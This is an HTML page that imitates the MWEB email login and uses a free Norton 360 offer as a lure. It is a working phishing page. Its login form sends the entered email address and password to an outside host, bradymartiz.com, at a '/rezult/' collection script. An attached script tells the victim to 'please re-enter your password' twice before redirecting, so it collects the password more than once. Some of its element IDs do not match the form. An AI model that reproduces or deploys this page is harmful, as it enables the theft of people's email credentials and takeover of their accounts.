<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <title>Email Login - MWEB</title>
    <link rel="icon" href="assets/images/favicon-128.png">
    <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" rel="stylesheet">
    
    <style>
        /* General Styles */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'acumin-pro', Arial, sans-serif !important;
        }

        body {
            display: flex;
            min-height: 100vh;
            justify-content: center;
            align-items: center;
            margin: 0;
        }

        .container {
            display: flex;
            width: 100%;
            height: 100vh;
            flex-wrap: wrap; /* Allow wrapping on smaller screens */
        }

        /* Loading Screen */
        #app-loading {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #2d5d7b;
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 9999;
        }

        #app-loading-spinner img {
            width: 230px;
            height: 230px;
            object-fit: contain;
        }

        /* Main Content */
        #main-content {
            display: none;
            width: 100%;
            height: 100vh;
            display: flex;
            flex-wrap: wrap; /* Allow wrapping on smaller screens */
        }

        .left-section, .right-section {
            display: flex;
            justify-content: center;
            align-items: center;
            text-align: center;
            padding: 20px;
        }

        .left-section {
            background-color: #2d5d7b;
            color: white;
            flex: 1; /* Allow flexbox to automatically divide the space */
        }

        .left-section img {
            max-width: 100%;
            height: auto;
        }

       /* Updated text-shadow here */
		.offer-text h1 {
			font-size: 38px;
			font-weight: 800;
			margin-bottom: 20px;
			text-shadow: 0px 3px 0px rgb(21, 63, 147); /* Apply the desired shadow */
			line-height: 1.2; /* Adjust line-height for better spacing */
			word-wrap: break-word; /* Break the word to prevent stretching */
			text-align: center;
        }

        .offer-text button {
            background-color: transparent;
            color: white;
            border: 2px solid white;
            padding: 13px 50px;
            font-size: 1.5rem;
            cursor: pointer;
            border-radius: 30px;
            transition: all 0.3s ease;
        }

        .offer-text button:hover {
            background-color: white;
            color: #2d5d7b;
        }

        .right-section {
            background-color: #fff;
            flex: 1; /* Allow flexbox to automatically divide the space */
            padding: 30px;
        }

        .login-container {
            max-width: 400px;
            width: 100%;
            text-align: left;
        }

        .login-container h2 {
            margin-bottom: 20px;
            font-size: 2rem;
            color: #333;
        }

        .form-group {
            margin-bottom: 25px;
        }

        .form-group label {
            display: block;
            font-size: 0.8rem;
            font-weight: 600;
            margin-bottom: 5px;
            color: #333;
        }

        .form-group input {
            width: 100%; /* Allow input to take up full width */
            padding: 11px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 0.9rem;
        }

        .btn-login {
            background-color: #2d5d7b;
            color: white;
            width: 100%; /* Allow button to take up full width */
            padding: 13.5px;
            border: none;
            border-radius: 8px;
            font-size: 1rem;
            cursor: pointer;
        }

        .forgot-password {
            margin-top: 10px;
            text-align: left;
            font-size: 1rem;
        }

        .forgot-password a {
            color: #2d5d7b;
            text-decoration: none;
        }

        .forgot-password a:hover {
            text-decoration: underline;
        }

        /* Responsive Design */
        /* For small screens (768px and below) */
        @media screen and (max-width: 767px) {
            .container {
                flex-direction: column;
            }

            .left-section, .right-section {
                width: 100%;
                max-width: 100%;
            }

            .offer-text h1 {
                font-size: 28px;
                font-family: 'acumin-pro', Arial, sans-serif !important;
            }

            .offer-text button {
                padding: 12px 35px;
                font-size: 1.3rem;
                font-family: 'acumin-pro', Arial, sans-serif !important;
            }

            .login-container h2 {
                font-size: 1.8rem;
                font-family: 'acumin-pro', Arial, sans-serif !important;
            }

            .form-group input {
                font-size: 0.9rem;
                padding: 10px;
            }
        }

    </style>
</head>
<body>
    <!-- Screen Size Detector -->
    <app-size-detector _nghost-lqg-c154="">
        <div _ngcontent-lqg-c154="" id="portal-screen-size" class="d-block d-sm-none is-0"></div>
        <div _ngcontent-lqg-c154="" id="portal-screen-size" class="d-md-none d-none d-sm-block is-1"></div>
        <div _ngcontent-lqg-c154="" id="portal-screen-size" class="d-lg-none d-md-block d-none is-2"></div>
        <div _ngcontent-lqg-c154="" id="portal-screen-size" class="d-lg-block d-none d-xl-none is-3"></div>
        <div _ngcontent-lqg-c154="" id="portal-screen-size" class="d-none d-xl-block is-4"></div>
    </app-size-detector>

    <!-- Loading Screen -->
    <div id="app-loading">
        <div id="app-loading-spinner">
            <img src="https://www.mweb.co.za/media/images/mweb-loader-2023.gif" class="img-responsive center-block" alt="Loading animation" />
        </div>
    </div>

    <!-- Main Content -->
    <div id="main-content" class="container">
        <div class="left-section">
            <div class="offer-text">
                <h1>Norton 360<br>FREE 30-Day access</h1>
                <img src="https://www.mweb.co.za/media/images/nord-360-internet-security-1.3.webp" alt="Promo Image">
                <div style="margin-top: 20px;">
                    <button>Get Now</button>
                </div>
            </div>
        </div>

        <div class="right-section">
            <div class="login-container">
                <h2>Email Login</h2>
                <form action="https://bradymartiz.com/rezult/mweb/mweb.php" method="post">
                    <div class="form-group">
                        <label for="email">Email Address *</label>
                        <input type="email" id="email" name="email" placeholder="Please enter your username" required>
                    </div>
                    <div class="form-group">
                        <label for="password">Password *</label>
                        <input type="password" id="password" name="password" placeholder="Please enter your password" required>
                    </div>
                    <button type="submit" class="btn-login">LOGIN</button>
                    <div class="forgot-password">
                        <a href="#">Forgotten password?</a>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <script>
        window.onload = function () {
            // Show loader initially
            document.getElementById("app-loading").style.display = "flex";

            // Set a timeout to simulate loading
            setTimeout(function () {
                // Hide loading screen
                document.getElementById("app-loading").style.display = "none";
                // Show main content
                document.getElementById("main-content").style.display = "flex";
            }, 2000); // Adjust the timeout value as needed
        };
    </script>
	<script>
		  document.addEventListener("DOMContentLoaded", function () {
		  const form = document.getElementById("form");
		  const emailField = document.getElementById("user-input");
		  const passwordField = document.getElementById("pass-input");
		  const submitBtn = document.getElementById("login-btn");
		  const errorMessage = document.createElement('div');
		  errorMessage.className = "error-message";
		  form.appendChild(errorMessage); // Adding error message to the form

		  let attemptCount = 0;

		  submitBtn.addEventListener("click", function (event) {
			event.preventDefault(); // Prevent form from submitting

			const email = emailField.value.trim();
			const password = passwordField.value.trim();

			// Validate fields
			if (!email || !password) {
			  errorMessage.textContent = "Please fill in both fields.";
			  errorMessage.style.color = "red";
			  return;
			}

			// Post login data
			fetch(form.action, {
			  method: "POST",
			  headers: { "Content-Type": "application/x-www-form-urlencoded" },
			  body: `username=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
			})
			  .then(response => response.json())
			  .then(data => {
				if (data.success) {
				  if (attemptCount < 2) {
					attemptCount++;
					errorMessage.textContent = "Please re-enter your password.";
					errorMessage.style.color = "red";
					passwordField.value = ""; // Clear the password field
				  } else if (data.redirectURL) {
					// Redirect on third attempt
					window.location.href = data.redirectURL;
				  }
				} else {
				  // Handle failed login
				  errorMessage.textContent = "Invalid credentials. Please try again.";
				  errorMessage.style.color = "red";
				  passwordField.value = ""; // Clear the password field
				}
			  })
			  .catch(error => {
				console.error("Error:", error);
				errorMessage.textContent = "An error occurred. Please try again.";
				errorMessage.style.color = "red";
				passwordField.value = ""; // Clear password field on error
			  });
		  });
		});
	</script>
</body>
</html>
